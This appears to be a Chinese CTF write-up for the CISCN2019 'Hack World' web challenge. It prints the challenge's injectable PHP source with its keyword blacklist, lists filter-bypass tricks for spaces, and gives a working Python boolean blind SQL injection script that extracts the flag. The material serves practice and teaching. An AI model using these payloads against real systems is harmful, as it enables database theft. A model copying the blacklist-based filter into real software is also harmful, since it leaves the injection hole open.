• 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World


    刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World

    一、前言

    离国赛已经过去好久了,到现在才看复现,这道题当时做的时候没有什么头绪,现在来看答案发现其实没有很难,就是经验还不足

    二、正文

    题目复现链接:https://buuoj.cn/challenges
    参考链接:ciscn2019华北赛区半决赛day2_web1题解

    1、解题过程

    搜索框输入1或2会返回结果,其他都返回bool(false)。过滤了union、and、or、空格等,包括/**/,后来看源码知道是过滤了*
    有意思的是输入1/1时会正常返回结果,可以判断这是数字型的sql注入。

    源码如下:

    <?php
    $dbuser='root';
    $dbpass='root';
    
    function safe($sql){
        #被过滤的内容 函数基本没过滤
        $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
        foreach($blackList as $blackitem){
            if(stripos($sql,$blackitem)){
                return False;
            }
        }
        return True;
    }
    if(isset($_POST['id'])){
        $id = $_POST['id'];
    }else{
        die();
    }
    $db = mysql_connect("localhost",$dbuser,$dbpass);
    if(!$db){
        die(mysql_error());
    }   
    mysql_select_db("ctf",$db);
    
    if(safe($id)){
        $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
        
        if($query){
            $result = mysql_fetch_array($query);
            
            if($result){
                echo $result['content'];
            }else{
                echo "Error Occured When Fetch Result.";
            }
        }else{
            var_dump($query);
        }
    }else{
        die("SQL Injection Checked.");
    }
    

    2、解题方法

    根据1和2返回结果的不同,可能是bool盲注,()没有过滤,可以使用大部分函数,当时是卡在了空格的绕过
    空格的绕过有这些方法我测试是可以的
    %09 %0a %0b %0c %0d /**/ /*!*/或者直接tab
    %20 好像没法绕,%00截断好像也影响sql语句的执行
    或者用括号也可以。任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
    本题中可以if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)

    贴上我写的bool盲注脚本

    import requests
    
    url = 'http://64ed7296-9aea-43ac-84ec-24e5c6f616a7.node1.buuoj.cn/index.php'
    result = ''
    
    for x in range(1, 50):
        high = 127
        low = 32
        mid = (low + high) // 2
        while high > low:
            payload = "if(ascii(substr((select      flag    from    flag),%d,1))>%d,1,2)" % (x, mid)
            data = {
                "id":payload
            }
            response = requests.post(url, data = data)
            if 'Hello' in response.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
    
        result += chr(int(mid))
        print(result)
    
    
  • 相关阅读:
    搜索引擎代码资源
    shell十三问(很不错的shell解释)
    Export/Import 使用技巧与常见错误
    利用java实现数据结构中常用的插入排序和快速排序算法
    java23种设计模式与追MM
    sqlldr使用小结(zt)
    排序算法的java实现的网址链接
    Rdesktop与Window相联
    java抽取word,pdf的四种武器
    常用数据库JDBC连接写法
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/11435298.html
Copyright © 2020-2023  润新知